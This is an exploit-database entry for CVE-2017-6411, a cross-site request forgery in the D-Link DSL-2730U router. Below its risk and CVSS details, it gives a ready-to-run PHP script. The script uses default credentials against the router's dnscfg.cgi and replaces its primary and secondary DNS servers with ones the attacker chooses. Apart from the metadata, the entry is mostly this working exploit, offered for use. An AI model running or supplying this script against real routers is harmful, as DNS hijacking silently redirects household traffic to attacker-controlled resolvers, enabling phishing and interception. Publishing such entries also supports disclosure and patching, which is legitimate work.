DLink DSL-2730U Wireless N 150 - Cross-Site Request Forgery

2017.03.02

Mateus Lino (BR)

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2017-6411

CWE: N/A

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

<?php
#!usr/bin/php
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#Modify DNS
$ip = "[IP TARGET]";
$dnsfirst = "[Define DNS]";
$dnssecond = "[Define DNS]";
$payload = "http://user:user@192.168.1.1/dnscfg.cgi?dnsPrimary=";
$pay = $payload.$dnsfirst."&dnsSecondary=".$dnssecond."&dnsIfcsList=&dnsRefresh=1";
$target = get_url_contents($pay);
if($target){
echo "[+] DNS Change";
}
else{echo "[+] DNS no Change";}
function get_url_contents($url)
{
$crl = curl_init();
curl_setopt($crl, CURLOPT_URL, $url);
curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 5);
$r = curl_exec($crl);
$http_status = curl_getinfo($crl, CURLINFO_HTTP_CODE);
curl_close($crl);
if ($http_status=="200") {
return $r;
}
}
?>

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

DLink DSL-2730U Wireless N 150 - Cross-Site Request Forgery

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.